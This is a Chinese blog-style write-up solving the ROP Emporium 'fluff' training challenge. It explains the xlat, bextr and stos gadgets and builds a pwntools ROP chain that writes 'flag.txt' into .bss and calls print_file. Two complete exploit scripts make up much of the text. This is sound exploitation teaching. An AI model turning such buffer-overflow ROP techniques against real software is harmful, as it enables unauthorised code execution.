题目描述#

跟前面一样，这道题同样是需要在可写段写入目标字符串”flag.txt“，并作为参数调用目标函数，这个过程中同样需要找到有用的gadgets，并控制相应寄存器来完成，总体看来思路很简单——但或许没有那么简单，毕竟能放在第六题。来看看怎么个事

解题过程#

工具#

pwntools、ropper、gdb

查反汇编，找目标函数、gadgets#

直接查

1
objdump -d -M ./fluff

这道题贴心提示了一些有用的 gadget 可以在questionableGadgets找到，那我们就格外留意一下

1
0000000000400510 <print_file@plt>
2

3
0000000000400628 <questionableGadgets>:
4
  400628:       d7                      xlat   BYTE PTR ds:[rbx]
5
  400629:       c3                      ret
6
  40062a:       5a                      pop    rdx
7
  40062b:       59                      pop    rcx
8
  40062c:       48 81 c1 f2 3e 00 00    add    rcx,0x3ef2
9
  400633:       c4 e2 e8 f7 d9          bextr  rbx,rcx,rdx
10
  400638:       c3                      ret
11
  400639:       aa                      stos   BYTE PTR es:[rdi],al
12
  40063a:       c3                      ret
13
  40063b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

不少没见过面的指令呢，而在多个寄存器的联动下，如果不知道指令的意思的话，用起来便会相当困难——这便是难点之一

针对于对我们有用的指令作一下解释：

1
xlat   BYTE PTR ds:[rbx]   xlat 可以近似理解为al = [rbx + al]。执行前，al参与地址计算，作为偏移的一部分；执行后，al被改成该地址处的1字节内容
2

3
bextr  rbx,rcx,rdx   其一般含义是根据rdx指定的起始bit和长度，从rcx中提取一段bit放入 rbx
4

5
stos   BYTE PTR es:[rdi],al   它会把AL写入[RDI]，在方向标志 DF=0的常见情况下，RDI会自动加1

特别提醒！这里要注意在bextr之前会对rcx进行一个add操作，所以不能直接让rcx等于我们的目标值，而是要减去对应add值，也就是0x3ef2

还有一个有趣的点是，如果我们给rdx的值是0x4000的话，低8位值为0，高8位值为64

这就意味着从rcx的0位开始取，一共取64位(即8字节，rbx和rcx都是8字节)，届时，bextr rbx,rcx,rdx指令的意思就变成了把rcx的值直接给到了rbx，一下就明朗了

了解到指令的具体作用后，我们的脑子里也应该先对写入的整个流程有一个大致认知：

bextr用来间接控制rbx，使得rbx + 当前al = 目标字符地址

随后xlat会执行al = [rbx + al]，把该地址处的字符读入al

最后stos BYTE PTR es:[rdi],al将其写入rdi指向的地址(可写段)

于是我们还需要找的便是：

可写段地址、目标字符地址、al初始内容、pop rdi的gadget

那我们开始吧，先是可写段地址：

1
readelf -S -W intel ./fluff

找到：

1
Section Headers:
2
[Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al #依旧附上表头
3
[24] .bss              NOBITS          0000000000601038 001038 000008 00  WA  0   0  1

和前面题一样，这里 .bss 大小显示为8，而"flag.txt"正好8字节。本题中可以正常读取；如果后续遇到字符串读取异常，需要额外关注结尾\x00的问题

再就是目标字符地址

1
ropper --file ./fluff --string "f"
2
ropper --file ./fluff --string "l"
3
ropper --file ./fluff --string "a"
4
ropper --file ./fluff --string "g"
5
ropper --file ./fluff --string "."
6
ropper --file ./fluff --string "t"
7
ropper --file ./fluff --string "x"

找到(不唯一):

1
Strings
2
=======
3

4
Address     Value
5
-------     -----
6
0x004003c4  f
7
0x004003c5  l
8
0x004003d6  a
9
0x004003cf  g
10
0x004003c9  .
11
0x004003d5  t
12
0x00400246  x

然后是al初始内容，用gdb

1
gdb ./fluff
2

3
fluff by ROP Emporium
4
x86_64
5

6
You know changing these strings means I have to rewrite my solutions...
7
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

依旧使劲输入a，通过gdb看到：

1
RAX  0xb

因此初始al = 0x0b

最后是gadget，用ropper

1
ropper --file ./fluff --search "pop rdi"
2

3
0x00000000004006a3: pop rdi; ret;

找齐了，接下来便是写脚本

构造exp脚本#

从我们前面的大致写入思路来看，我们无非要注意这几点：

rcx会先加0x3ef2，再给到rbx
al会等于rbx+al地址指向的内容，我们需要让这个内容等于我们需要的字符所在地址，注意，此时al内容已经改变，在进行下一次写入时得留意
rdi在写入后通常自动往下移一个字节，除了第一次，后续就不用单独pop rdi了

1
wanted_rbx = rcx + 0x3ef2
2

3
old_al + wanted_rbx = char_addr
4

5
al = [old_al + wanted_rbx]
6

7
于是我们就可以专注控制rcx来达成目的
8

9
rcx = char_addr - old_al -0x3ef2

思路明确后，最终脚本大致就长这样：

1
from pwn import *
2

3
p = process('./fluff')
4
p.recv()
5

6
payload = b'A' * 40 + p64(0x40062a) + p64(0x4000) + p64(0x3fc4c7) + p64(0x400628) + p64(0x00000000004006a3) + p64(0x0000000000601038) + p64(0x400639)
7
#先是40字节offset，然后是pop rdx和rcx，后面对应放上rdx、rcx，再读入al，接着pop rdi;ret，放上.bss地址，最后是写入操作
8
#后面如法炮制，但考虑到rdi在写入后通常自动往下移一个字节，后续就不用单独pop rdi了
9
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc46d) + p64(0x400628) + p64(0x400639)
10
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc478) + p64(0x400628) + p64(0x400639)
11
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc47c) + p64(0x400628) + p64(0x400639)
12
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc470) + p64(0x400628) + p64(0x400639)
13
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc4b5) + p64(0x400628) + p64(0x400639)
14
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc2e0) + p64(0x400628) + p64(0x400639)
15
payload += p64(0x40062a) + p64(0x4000) + p64(0x3fc46b) + p64(0x400628) + p64(0x400639)
16
payload += p64(0x00000000004006a3) + p64(0x0000000000601038) + p64(0x0000000000400510)
17

18
p.sendline(payload)
19
p.interactive()

更直观的版本(AIGC)：

1
from pwn import *
2

3
p = process('./fluff')
4
p.recv()
5

6
offset = 40
7
bss = 0x601038
8

9
xlat_ret = 0x400628
10
pop_rdx_rcx_bextr_ret = 0x40062a
11
stosb_ret = 0x400639
12
pop_rdi_ret = 0x4006a3
13
print_file_plt = 0x400510
14

15
payload = b'A' * offset
16

17
# 写 'f'
18
payload += p64(pop_rdx_rcx_bextr_ret)
19
payload += p64(0x4000)
20
payload += p64(0x3fc4c7)
21
payload += p64(xlat_ret)
22
payload += p64(pop_rdi_ret)
23
payload += p64(bss)
24
payload += p64(stosb_ret)
25

26
# 写 'l'
27
payload += p64(pop_rdx_rcx_bextr_ret)
28
payload += p64(0x4000)
29
payload += p64(0x3fc46d)
30
payload += p64(xlat_ret)
31
payload += p64(stosb_ret)
32

33
# 写 'a'
34
payload += p64(pop_rdx_rcx_bextr_ret)
35
payload += p64(0x4000)
36
payload += p64(0x3fc478)
37
payload += p64(xlat_ret)
38
payload += p64(stosb_ret)
39

40
# 写 'g'
41
payload += p64(pop_rdx_rcx_bextr_ret)
42
payload += p64(0x4000)
43
payload += p64(0x3fc47c)
44
payload += p64(xlat_ret)
45
payload += p64(stosb_ret)
46

47
# 写 '.'
48
payload += p64(pop_rdx_rcx_bextr_ret)
49
payload += p64(0x4000)
50
payload += p64(0x3fc470)
51
payload += p64(xlat_ret)
52
payload += p64(stosb_ret)
53

54
# 写 't'
55
payload += p64(pop_rdx_rcx_bextr_ret)
56
payload += p64(0x4000)
57
payload += p64(0x3fc4b5)
58
payload += p64(xlat_ret)
59
payload += p64(stosb_ret)
60

61
# 写 'x'
62
payload += p64(pop_rdx_rcx_bextr_ret)
63
payload += p64(0x4000)
64
payload += p64(0x3fc2e0)
65
payload += p64(xlat_ret)
66
payload += p64(stosb_ret)
67

68
# 写 't'
69
payload += p64(pop_rdx_rcx_bextr_ret)
70
payload += p64(0x4000)
71
payload += p64(0x3fc46b)
72
payload += p64(xlat_ret)
73
payload += p64(stosb_ret)
74

75
# print_file("flag.txt")
76
payload += p64(pop_rdi_ret)
77
payload += p64(bss)
78
payload += p64(print_file_plt)
79

80
p.sendline(payload)
81
p.interactive()

跑一下

1
python3 fluff.py
2

3
[+] Starting local process './fluff': pid 24183
4
[*] Switching to interactive mode
5
Thank you!
6
ROPE{a_placeholder_32byte_flag!}
7
[*] Got EOF while reading in interactive
8
$

收工

总结#

学到了不少新东西

首先是al是rax的低一字节
再然后是对那三个没见过的指令(xlat、bextr、stos)有了不错的理解
最后，根据思路和目标程序流进行rop链架构构造也更加熟练了

相当有意思的题目